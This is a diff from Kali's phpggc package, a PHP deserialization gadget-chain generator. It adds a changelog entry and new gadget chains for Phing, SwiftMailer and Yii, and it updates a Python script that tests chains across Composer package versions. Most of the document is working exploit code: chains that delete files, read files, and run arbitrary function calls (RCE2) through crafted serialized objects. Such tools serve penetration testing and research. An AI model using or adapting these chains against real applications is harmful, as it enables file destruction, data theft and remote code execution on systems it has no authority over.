New upstream snapshot.
Kali Janitor
1 year, 4 months ago
0 | phpggc (0.20210218+git20221216.0.23e29e8-0kali1) UNRELEASED; urgency=low | |
0 | phpggc (0.20210218+git20221219.0.ceae02a-0kali1) UNRELEASED; urgency=low | |
1 | 1 | |
2 | 2 | * New upstream snapshot. |
3 | 3 | * New upstream snapshot. |
4 | * New upstream snapshot. | |
4 | 5 | |
5 | -- Kali Janitor <[email protected]> Sun, 18 Dec 2022 14:34:33 -0000 | |
6 | -- Kali Janitor <[email protected]> Mon, 19 Dec 2022 12:32:27 -0000 | |
6 | 7 | |
7 | 8 | phpggc (0.20210218-0kali1) kali-dev; urgency=medium |
8 | 9 |
0 | <?php | |
1 | ||
2 | namespace GadgetChain\Phing; | |
3 | ||
4 | class FD1 extends \PHPGGC\GadgetChain\FileDelete | |
5 | { | |
6 | public static $version = '2.6.0 <= 3.0.0a3'; | |
7 | public static $vector = '__destruct'; | |
8 | public static $author = 'CyanM0un'; | |
9 | ||
10 | public function generate(array $parameters) | |
11 | { | |
12 | return new \WikiPublishTask($parameters['remote_path']); | |
13 | } | |
14 | }⏎ |
0 | <?php | |
1 | class WikiPublishTask | |
2 | { | |
3 | private $cookiesFile; | |
4 | ||
5 | function __construct($path) | |
6 | { | |
7 | $this->cookiesFile = $path; | |
8 | } | |
9 | } |
0 | <?php | |
1 | ||
2 | namespace GadgetChain\SwiftMailer; | |
3 | ||
4 | class FD2 extends \PHPGGC\GadgetChain\FileDelete | |
5 | { | |
6 | public static $version = '5.4.6 <= 5.x-dev'; | |
7 | public static $vector = '__destruct'; | |
8 | public static $author = 'CyanM0un'; | |
9 | public static $information = 'the path should be in the form of "path/filename"'; | |
10 | ||
11 | public function generate(array $parameters) | |
12 | { | |
13 | return new \Swift_Image($parameters['remote_path']); | |
14 | } | |
15 | } |
0 | <?php | |
1 | ||
2 | class Swift_Image | |
3 | { | |
4 | private $_cache; | |
5 | private $_cacheKey; | |
6 | ||
7 | public function __construct($path) | |
8 | { | |
9 | $path_a = explode("/", $path); | |
10 | $this->_cacheKey = $path_a[count($path_a) - 2]; | |
11 | $pre_index = strripos($path, "/"); | |
12 | $pre = substr($path, 0, $pre_index - strlen($this->_cacheKey) - 1); | |
13 | ||
14 | $this->_cache = new Swift_KeyCache_DiskKeyCache( | |
15 | $pre, $path_a[count($path_a) - 2], $path_a[count($path_a) - 1] | |
16 | ); | |
17 | } | |
18 | } | |
19 | ||
20 | class Swift_KeyCache_DiskKeyCache | |
21 | { | |
22 | private $_path; | |
23 | private $_keys; | |
24 | ||
25 | public function __construct($pre_path, $path, $filename) | |
26 | { | |
27 | $this->_path = $pre_path; | |
28 | $this->_keys = [$path => [$filename => '']]; | |
29 | } | |
30 | } |
0 | <?php | |
1 | ||
2 | namespace GadgetChain\SwiftMailer; | |
3 | ||
4 | class FR1 extends \PHPGGC\GadgetChain\FileRead | |
5 | { | |
6 | public static $version = '6.0.0 <= 6.3.0'; | |
7 | public static $vector = '__toString'; | |
8 | public static $author = 'CyanM0un'; | |
9 | ||
10 | public function generate(array $parameters) | |
11 | { | |
12 | return new \Swift_EmbeddedFile($parameters['remote_path']); | |
13 | } | |
14 | } |
0 | <?php | |
1 | ||
2 | class Swift_Mime_SimpleMimeEntity | |
3 | { | |
4 | private $headers; | |
5 | private $body; | |
6 | private $cache; | |
7 | private $encoder; | |
8 | private $maxLineLength; | |
9 | private $cacheKey; | |
10 | ||
11 | public function __construct($path) | |
12 | { | |
13 | $this->headers = new Swift_Mime_Headers_OpenDKIMHeader(); | |
14 | $this->body = new Swift_ByteStream_FileByteStream($path); | |
15 | $this->cache = new Swift_KeyCache_ArrayKeyCache(); | |
16 | $this->encoder = new Swift_Mime_ContentEncoder_PlainContentEncoder(); | |
17 | $this->cacheKey = "anykey"; | |
18 | $this->maxLineLength = 100; | |
19 | } | |
20 | } | |
21 | ||
22 | class Swift_EmbeddedFile extends Swift_Mime_SimpleMimeEntity | |
23 | { | |
24 | public function __construct($path) | |
25 | { | |
26 | parent::__construct($path); | |
27 | } | |
28 | } | |
29 | ||
30 | class Swift_Mime_Headers_OpenDKIMHeader | |
31 | { | |
32 | private $fieldName; | |
33 | ||
34 | function __construct() | |
35 | { | |
36 | $this->fieldName = "any"; | |
37 | } | |
38 | } | |
39 | ||
40 | class Swift_KeyCache_ArrayKeyCache | |
41 | { | |
42 | } | |
43 | ||
44 | class Swift_Mime_ContentEncoder_PlainContentEncoder | |
45 | { | |
46 | private $canonical = true; | |
47 | } | |
48 | ||
49 | class Swift_ByteStream_FileByteStream | |
50 | { | |
51 | private $path; | |
52 | ||
53 | function __construct($path) | |
54 | { | |
55 | $this->path = $path; | |
56 | } | |
57 | } |
0 | <?php | |
1 | ||
2 | namespace GadgetChain\Yii; | |
3 | ||
4 | class RCE2 extends \PHPGGC\GadgetChain\RCE\FunctionCall | |
5 | { | |
6 | public static $version = '1.1.20'; | |
7 | public static $vector = '__destruct'; | |
8 | public static $author = 'CyanM0un'; | |
9 | ||
10 | public function generate(array $parameters) | |
11 | { | |
12 | $function = $parameters['function']; | |
13 | $parameter = $parameters['parameter']; | |
14 | ||
15 | $a = new \WikiPublishTask($function, $parameter); | |
16 | ||
17 | return $a; | |
18 | } | |
19 | } |
0 | <?php | |
1 | ||
2 | namespace Prophecy\Argument\Token | |
3 | { | |
4 | class ExactValueToken | |
5 | { | |
6 | private $util; | |
7 | private $value; | |
8 | ||
9 | function __construct($function, $parameter) | |
10 | { | |
11 | $this->util = new \PHPUnit_Extensions_Selenium2TestCase_Session($function); | |
12 | $this->value = $parameter; | |
13 | } | |
14 | } | |
15 | } | |
16 | ||
17 | namespace | |
18 | { | |
19 | class WikiPublishTask | |
20 | { | |
21 | private $cookiesFile; | |
22 | ||
23 | function __construct($function, $parameter) | |
24 | { | |
25 | $this->cookiesFile = new \Prophecy\Argument\Token\ExactValueToken( | |
26 | $function, $parameter | |
27 | ); | |
28 | } | |
29 | } | |
30 | ||
31 | class PHPUnit_Extensions_Selenium2TestCase_Session | |
32 | { | |
33 | protected $commands; | |
34 | protected $url; | |
35 | protected $driver; | |
36 | ||
37 | function __construct($function) | |
38 | { | |
39 | $this->commands = ['stringify' => $function]; | |
40 | $this->url = new PHPUnit_Extensions_Selenium2TestCase_URL(); | |
41 | $this->driver = new DocBlox_Parallel_Worker(); | |
42 | } | |
43 | } | |
44 | ||
45 | class PHPUnit_Extensions_Selenium2TestCase_URL | |
46 | { | |
47 | } | |
48 | ||
49 | class DocBlox_Parallel_Worker | |
50 | { | |
51 | } | |
52 | } |
16 | 16 | |
17 | 17 | Dependencies: |
18 | 18 | $ pip install rich |
19 | ||
20 | Versions: | |
21 | You can specify package version by adding a semicolon to the package name: | |
22 | ||
23 | # Tests version 1.6.0 and 1.6.3 | |
24 | $ ./test-gc-compatibility.py doctrine/doctrine-bundle:1.6.0,1.6.3 doctrine/rce1 | |
25 | ||
26 | or with a range: | |
27 | ||
28 | # Tests from version 5.0.0 to 6.1.3 | |
29 | $ ./test-gc-compatibility.py doctrine/doctrine-bundle:1.6.0..1.12.3 doctrine/rce1 | |
30 | ||
31 | If no upper or lower version is present, every version before (resp. after) | |
32 | the specified one will be tested: | |
33 | ||
34 | # from doctrine 1.12.0 to the newest | |
35 | $ ./test-gc-compatibility.py doctrine/doctrine-bundle:1.12.0.. doctrine/rce1 | |
36 | # from the first version of doctrine to 1.6.0 | |
37 | $ ./test-gc-compatibility.py doctrine/doctrine-bundle:..1.6.0 doctrine/rce1 | |
38 | ||
19 | 39 | |
20 | 40 | Credit goes to @M4yFly for the original idea and implementation. |
21 | 41 | """ |
28 | 48 | import tempfile |
29 | 49 | import shutil |
30 | 50 | |
31 | ||
32 | 51 | try: |
33 | 52 | from rich import print |
34 | 53 | except ImportError: |
57 | 76 | for gc in self._gcs: |
58 | 77 | self.ensure_gc_exists(gc) |
59 | 78 | |
60 | php_version = self._executor.php("--version")[0].split('\n')[0] | |
61 | print( | |
62 | f"Running on PHP version " | |
63 | f"[blue]{php_version}[/blue]" | |
64 | f"." | |
65 | ) | |
66 | ||
67 | versions = self._package.get_versions() | |
79 | php_version = self._executor.php("--version")[0].split("\n")[0] | |
80 | print(f"Running on PHP version " f"[blue]{php_version}[/blue]" f".") | |
81 | ||
82 | versions = self._package.get_target_versions() | |
68 | 83 | print( |
69 | 84 | f"Testing {len(versions)} versions for " |
70 | 85 | f"[blue]{self._package.name}[/blue] against " |
137 | 152 | |
138 | 153 | def setup_arguments(): |
139 | 154 | parser = argparse.ArgumentParser( |
140 | description="Test PHPGGC gadget chains against every version of a composer package." | |
155 | description="Test PHPGGC gadget chains against every version of a composer package.", | |
156 | epilog="""\ | |
157 | Example: | |
158 | $ ./test-gc-compatibility.py monolog/monolog monolog/rce1 monolog/rce3 | |
159 | ||
160 | Required executables: | |
161 | The program requires phpggc and composer. | |
162 | By default, it will use the `phpggc` from the current directory, and the | |
163 | composer from PATH. If you wish to use other paths, use the `PHPGGC_PATH` | |
164 | and `COMPOSER_PATH` environment variables. | |
165 | If a file cannot be ran straight up, we'll try using `php <file>` instead. | |
166 | ||
167 | Dependencies: | |
168 | $ pip install rich | |
169 | ||
170 | Versions: | |
171 | You can specify package version by adding a semicolon to the package name: | |
172 | ||
173 | # Tests version 1.6.0 and 1.6.3 | |
174 | $ ./test-gc-compatibility.py doctrine/doctrine-bundle:1.6.0,1.6.3 doctrine/rce1 | |
175 | ||
176 | or with a range: | |
177 | ||
178 | # Tests from version 5.0.0 to 6.1.3 | |
179 | $ ./test-gc-compatibility.py doctrine/doctrine-bundle:1.6.0..1.12.3 doctrine/rce1 | |
180 | ||
181 | If no upper or lower version is present, every version before (resp. after) | |
182 | the specified one will be tested: | |
183 | ||
184 | # from doctrine 1.12.0 to the newest | |
185 | $ ./test-gc-compatibility.py doctrine/doctrine-bundle:1.12.0.. doctrine/rce1 | |
186 | # from the first version of doctrine to 1.6.0 | |
187 | $ ./test-gc-compatibility.py doctrine/doctrine-bundle:..1.6.0 doctrine/rce1 | |
188 | """, | |
189 | formatter_class=argparse.RawTextHelpFormatter, | |
141 | 190 | ) |
142 | 191 | parser.add_argument("package") |
143 | 192 | parser.add_argument("gadget_chain", nargs="+") |
188 | 237 | work_dir = pathlib.Path(__file__).parent.resolve() |
189 | 238 | phpggc = os.environ.get("PHPGGC_PATH", str(work_dir / "phpggc")) |
190 | 239 | composer = os.environ.get("COMPOSER_PATH", "composer") |
191 | php = os.environ.get("PHP_PATH", "php") | |
192 | 240 | |
193 | 241 | if not pathlib.Path(phpggc).is_file(): |
194 | 242 | raise TesterException("phpggc executable not found") |
224 | 272 | """Represents a composer package.""" |
225 | 273 | |
226 | 274 | def __init__(self, name, executor): |
227 | self.name = name | |
275 | self.extract_name_versions(name) | |
228 | 276 | self._executor = executor |
229 | 277 | self.work_dir = pathlib.Path(tempfile.mkdtemp(prefix="phpggc")) |
230 | 278 | |
231 | def get_versions(self): | |
232 | """Uses composer to obtain each version (or tag) for the package.""" | |
233 | if ":" in self.name: | |
234 | try: | |
235 | versions = self.name.split(":")[1] | |
236 | self.name = self.name.split(":")[0] | |
237 | return [v.strip() for v in versions.split(",")] | |
238 | except IndexError: | |
239 | raise IndexError("Inexistant index") | |
240 | except AttributeError: | |
241 | raise AttributeError("No version defined") | |
279 | def extract_name_versions(self, name): | |
280 | if ":" not in name: | |
281 | self.name = name | |
282 | self.versions = None | |
283 | else: | |
284 | self.name, self.versions = name.split(":") | |
285 | ||
286 | def get_package_versions(self): | |
242 | 287 | versions, _ = self._executor.composer("show", "-a", self.name) |
243 | 288 | versions = re.search(r"versions :(.*)\ntype", versions).group(1) |
244 | 289 | return [v.strip() for v in versions.split(",")] |
290 | ||
291 | def get_target_versions(self): | |
292 | """Uses composer to obtain each version (or tag) for the package.""" | |
293 | if self.versions is None: | |
294 | return self.get_package_versions() | |
295 | ||
296 | package_versions = None | |
297 | target_versions = [] | |
298 | ||
299 | def get_version_idx_or_raise(version): | |
300 | try: | |
301 | return package_versions.index(version) | |
302 | except ValueError: | |
303 | raise ValueError(f"Version {version} could not be found") | |
304 | ||
305 | for version in self.versions.split(","): | |
306 | # range | |
307 | if ".." in version: | |
308 | vmin, vmax = version.split("..") | |
309 | if package_versions is None: | |
310 | package_versions = self.get_package_versions() | |
311 | ||
312 | vmin_idx = ( | |
313 | get_version_idx_or_raise(vmin) if vmin else len(package_versions) | |
314 | ) | |
315 | vmax_idx = get_version_idx_or_raise(vmax) if vmax else 0 | |
316 | # Versions are stored from biggest to smallest | |
317 | target_versions += package_versions[vmax_idx : vmin_idx + 1] | |
318 | else: | |
319 | target_versions.append(version) | |
320 | ||
321 | return target_versions | |
245 | 322 | |
246 | 323 | def clean_workdir(self, final=False): |
247 | 324 | """Removes any composer related file in the working directory, such as |